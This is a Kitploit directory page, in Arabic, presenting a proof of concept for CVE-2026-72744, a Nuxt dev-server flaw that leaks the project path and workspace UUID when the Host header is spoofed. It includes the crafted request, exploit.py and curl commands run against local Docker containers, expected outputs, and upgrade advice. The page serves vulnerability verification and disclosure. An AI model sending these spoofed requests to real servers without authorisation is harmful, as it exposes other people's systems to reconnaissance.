Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-72744-poc — إثبات مفهوم لاستغلال CVE-2026-72744، وهي ثغرة كشف معلومات في نقطة نهاية مساحة عمل Chrome DevTools الخاصة بخادم تطوير Nuxt. يوضح الثغرة ويتحقق من الإصلاح. | Kitploit
أدوات/GitHubGitHub/saku0512/cve-2026-72744-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubsaku0512/cve-2026-72744-poc

CVE-2026-72744-poc

إثبات مفهوم لاستغلال CVE-2026-72744، وهي ثغرة كشف معلومات في نقطة نهاية مساحة عمل Chrome DevTools الخاصة بخادم تطوير Nuxt. يوضح الثغرة ويتحقق من الإصلاح.

عرض المستودع
منذ 5س 17دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-72744: تسريب معلومات من نقطة نهاية Chrome DevTools في Nuxt

English version

نظرة عامة

هذا المستودع هو إثبات مفهوم (PoC) لثغرة تسريب المعلومات CVE-2026-72744 الموجودة في نقطة نهاية مساحة عمل Chrome DevTools في خادم تطوير Nuxt.

يحدد خادم التطوير الثغرة ما إذا كان مصدر الاتصال محليًا أم لا بناءً على رؤوس HTTP مثل Host التي يمكن للمهاجم تحديدها، وليس على عنوان TCP peer address. عندما يكون خادم التطوير مرتبطًا بـ 0.0.0.0، يمكن لمهاجم غير مصادق على الشبكة المحلية (LAN) الحصول على المسار المطلق للمشروع ومعرّف مساحة العمل الدائم (workspace UUID) عبر طلب يحمل Host: localhost.

يقوم هذا الإثبات بتشغيل Nuxt 4.5.0 (الإصدار الثغري) و4.5.1 (الإصدار المُصحح) عبر Docker، ويرسل نفس الطلب من جهاز المضيف لمقارنة الاختلاف في السلوك. لا يقوم بقراءة أو كتابة ملفات أو تنفيذ كود.

إخلاء مسؤولية

استخدم هذا الأداة لأغراض تعليمية وللتحقق الأمني المصرح به فقط. لا ترسل طلبات إلى بيئات طرف ثالث دون إذن.

تفاصيل الثغرة

  • معرف CVE: CVE-2026-72744
  • المنتج: Nuxt
  • النوع: تسريب معلومات (CWE-200)
  • الإصدارات المتأثرة: >= 4.4.7, < 4.5.1 و >= 3.21.7, < 3.21.10
  • الإصدارات المُصححة: 4.5.1 / 3.21.10
  • الهدف: خادم التطوير فقط (لا يشمل بناء الإنتاج)
  • الشروط المطلوبة: ربط قابل للوصول عبر الشبكة، وتفعيل experimental.chromeDevtoolsProjectSettings افتراضيًا
  • التأثير: تسريب المسار المطلق لـ rootDir ومعرّف مساحة العمل الفريد للمشروع

السبب الجذري

في الإصدار الثغري، تتعامل الدالة isLocalDevRequest مع الطلب كطلب محلي إذا كان Host ضمن القائمة المسموحة ولم توجد رؤوس عبر المواقع (cross-site) قادمة من المتصفح. يمكن للعملاء غير القائمين على المتصفح حذف أو تحديد هذه الرؤوس بحرية، وبالتالي يمر الطلب التالي عبر الفحص.

root@kitploit:~
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost

يتطلب الإصدار المُصحح، بالإضافة إلى فحص الرؤوس الحالي، أن يكون عنوان TCP peer address الفعلي هو عنوان loopback (127.0.0.0/8 أو ::1).

إثبات المفهوم (طريقة الاستخدام)

1. تشغيل البيئة

root@kitploit:~
docker compose up -d --build
الرابطالإصدارالنتيجة المتوقعة
http://localhost:3000Nuxt 4.5.0HTTP 200، تسريب معلومات
http://localhost:3001Nuxt 4.5.1HTTP 403

قد يستغرق البناء الأول عدة دقائق لتنزيل حزم npm.

2. التحقق من الإصدار الثغري

root@kitploit:~
python3 exploit.py -t http://localhost:3000 --expect vulnerable

المخرجات المتوقعة:

root@kitploit:~
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.

3. التحقق من الإصدار المُصحح

root@kitploit:~
python3 exploit.py -t http://localhost:3001 --expect fixed

المخرجات المتوقعة:

root@kitploit:~
[+] FIXED: the non-loopback request was rejected with HTTP 403.

4. التحقق باستخدام curl

root@kitploit:~
curl -i -H 'Host: localhost' \
  http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json

curl -i -H 'Host: localhost' \
  http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json

نظرًا لأن الطلب يمر عبر إعادة توجيه المنافذ في Docker، فإن مصدر الاتصال كما يراه الحاوية ليس عنوان loopback. هذا يسمح بإعادة إنتاج ظروف مكافئة لهجوم عبر الشبكة المحلية (LAN) على مضيف واحد.

5. التنظيف

root@kitploit:~
docker compose down -v

شروط الحكم في الإثبات

يحدد exploit.py رأس Host: localhost ولا يرسل Origin أو Referer أو Sec-Fetch-Site عند الوصول إلى نقطة النهاية المستهدفة. يعتبر الإصدار ثغريًا فقط إذا كان استجابة HTTP 200 تحتوي على JSON يتضمن سلسلتي workspace.root و workspace.uuid. استجابة HTTP 403 هي السلوك المتوقع للإصدار المُصحح.

الإجراءات الوقائية

قم بتحديث Nuxt إلى 4.5.1 أو أحدث للإصدارات من السلسلة 4، وإلى 3.21.10 أو أحدث للسلسلة 3. إذا تعذر التحديث، قم بربط خادم التطوير بعنوان loopback فقط، أو عيّن experimental.chromeDevtoolsProjectSettings: false.

معلومات مرجعية

  • GitHub Security Advisory GHSA-7c4v-fwgw-9rf7
  • Nuxt 4.5.1 release
  • Fix commit
  • NVD: CVE-2026-72744
تنزيل الأداة